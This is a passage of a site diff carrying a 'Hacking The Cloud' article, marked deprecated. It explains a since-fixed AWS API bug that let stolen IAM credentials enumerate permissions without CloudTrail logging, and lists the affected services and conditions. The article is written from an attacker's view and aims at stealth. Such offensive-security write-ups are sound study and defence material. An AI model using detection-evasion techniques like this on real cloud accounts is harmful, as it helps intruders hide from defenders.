class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc hidden> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/deprecated/stealth_perm_enum.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=deprecated-enumerate-permissions-without-logging-to-cloudtrail>[Deprecated] Enumerate Permissions without Logging to CloudTrail<a class=headerlink href=#deprecated-enumerate-permissions-without-logging-to-cloudtrail title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><aside style=display:flex> <p><a href=https://frichetten.com/blog/aws-api-enum-vuln/ >Enumerate AWS API Permissions Without Logging to CloudTrail</a> by <a href=https://twitter.com/frichette_n>Nick Frichette</a></p> <p><a class=glightbox href=/images/researchers/nick_frichette.jpg data-type=image data-width=auto data-height=auto data-desc-position=bottom><img src=/images/researchers/nick_frichette.jpg alt="Nick Frichette" style=width:44px;height:44px;margin:5px;border-radius:100%;max-width:unset></a></p> </aside></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/Frichetten/aws_stealth_perm_enum>aws_stealth_perm_enum</a></p> </li> </ul> </div> <div class="admonition warning"> <p class=admonition-title>Warning</p> <p>As of 5/18/2021, this technique has been resolved and fixed by AWS. Mutating the Content-Type header when making API requests no longer can be used to enumerate permissions of a role or user. This page is maintained for historical and inspiration purposes.</p> </div> <p>After compromising an IAM credential while attacking AWS, your next task will be to determine what permissions that credential has scoped to them.</p> <p>Aside from guessing, enumerating these permissions would typically require a tool to brute force them like <a href=https://github.com/andresriancho/enumerate-iam>enumerate-iam</a> (which is a fantastic tool). The problem of course is that this will generate a ton of CloudTrail logs and will alert any defender. This poses a challenge to us, how can we enumerate permissions in a stealthy manner? </p> <p>The good news is that there is a bug in the AWS API that affects 589 actions across 39 different AWS services. This bug is a result of a mishandling of the Content-Type header, and when that header is malformed in a specific way the results are not logged to CloudTrail. Based on the response codes/body we can determine if the role does or does not have permission to make that API call.</p> <p>The following services are affected, although please note, that not all actions for these services can be enumerated. </p> <table> <thead> <tr> <th></th> <th></th> </tr> </thead> <tbody> <tr> <td>application-autoscaling</td> <td>appstream</td> </tr> <tr> <td>athena</td> <td>autoscaling-plans</td> </tr> <tr> <td>aws-marketplace</td> <td>cloudhsm</td> </tr> <tr> <td>codecommit</td> <td>codepipeline</td> </tr> <tr> <td>codestar</td> <td>comprehend</td> </tr> <tr> <td>cur</td> <td>datapipeline</td> </tr> <tr> <td>dax</td> <td>discovery</td> </tr> <tr> <td>forecast</td> <td>gamelift</td> </tr> <tr> <td>health</td> <td>identitystore</td> </tr> <tr> <td>kinesis</td> <td>kinesisanalytics</td> </tr> <tr> <td>macie</td> <td>mediastore</td> </tr> <tr> <td>mgh</td> <td>mturk-requester</td> </tr> <tr> <td>opsworks-cm</td> <td>personalize</td> </tr> <tr> <td>redshift-data</td> <td>route53domains</td> </tr> <tr> <td>route53resolver</td> <td>sagemaker</td> </tr> <tr> <td>secretsmanager</td> <td>shield</td> </tr> <tr> <td>sms</td> <td>snowball</td> </tr> <tr> <td>support</td> <td>tagging</td> </tr> <tr> <td>textract</td> <td>translate</td> </tr> <tr> <td>workmail</td> <td></td> </tr> </tbody> </table> <div class="admonition note"> <p class=admonition-title>Note</p> <p>For an in depth explanation for the bug, please see the <a href=https://frichetten.com/blog/aws-api-enum-vuln/ >original research</a>. In this article we will just discuss how to take advantage of it.</p> </div> <p>There are some conditions to the enumeration, and they are defined below.</p> <p>1 - The AWS service uses the JSON 1.1 protocol. 2 - The API actions returns a unique error code depending on the permission set. 3 - The resource associated with that action is set to "*".</p> <p>To perform the enumeration there is a script <a href=https://github.com/Frichetten/aws_stealth_perm_enum>here</a>. Setting the credentials as environment variables and then running the script will inform you what API permissions you have available to you.</p> <figure> <p><a class=glightbox href=../../../images/aws/enumeration/stealth_perm_enum/permissions.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Proof of Concept" loading=lazy src=../../../images/aws/enumeration/stealth_perm_enum/permissions.png></a></p> </figure> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">November 21, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">October 24, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/aws/deprecated/whoami/index.html b/aws/deprecated/whoami/index.html
index ac7c69399..0bcdd8193 100644
--- a/aws/deprecated/whoami/index.html
+++ b/aws/deprecated/whoami/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><link href=https://hackingthe.cloud/aws/deprecated/whoami/ rel=canonical><link href=../stealth_perm_enum/ rel=prev><link href=../../capture_the_flag/cicdont/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>[Deprecated] Whoami - Get Principal Name From Keys - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="[Deprecated] Whoami - Get Principal Name From Keys - Hacking The Cloud"><meta property=og:description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/deprecated/whoami/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="[Deprecated] Whoami - Get Principal Name From Keys - Hacking The Cloud"><meta property=twitter:description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><link href=https://hackingthe.cloud/aws/deprecated/whoami/ rel=canonical><link href=../stealth_perm_enum/ rel=prev><link href=../../capture_the_flag/cicdont/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../../feed_rss_updated.xml><link rel=icon href=../../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>[Deprecated] Whoami - Get Principal Name From Keys - Hacking The Cloud</title><link rel=stylesheet href=../../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../../stylesheets/extra.css><script>__md_scope=new URL("../../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="[Deprecated] Whoami - Get Principal Name From Keys - Hacking The Cloud"><meta property=og:description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/aws/deprecated/whoami/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="[Deprecated] Whoami - Get Principal Name From Keys - Hacking The Cloud"><meta property=twitter:description content="During an assessment you may find AWS IAM credentials. Use these tactics to identify the principal of the keys."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/aws/deprecated/whoami.png> <link href="../../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,7 +7,7 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#sns-publish class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> 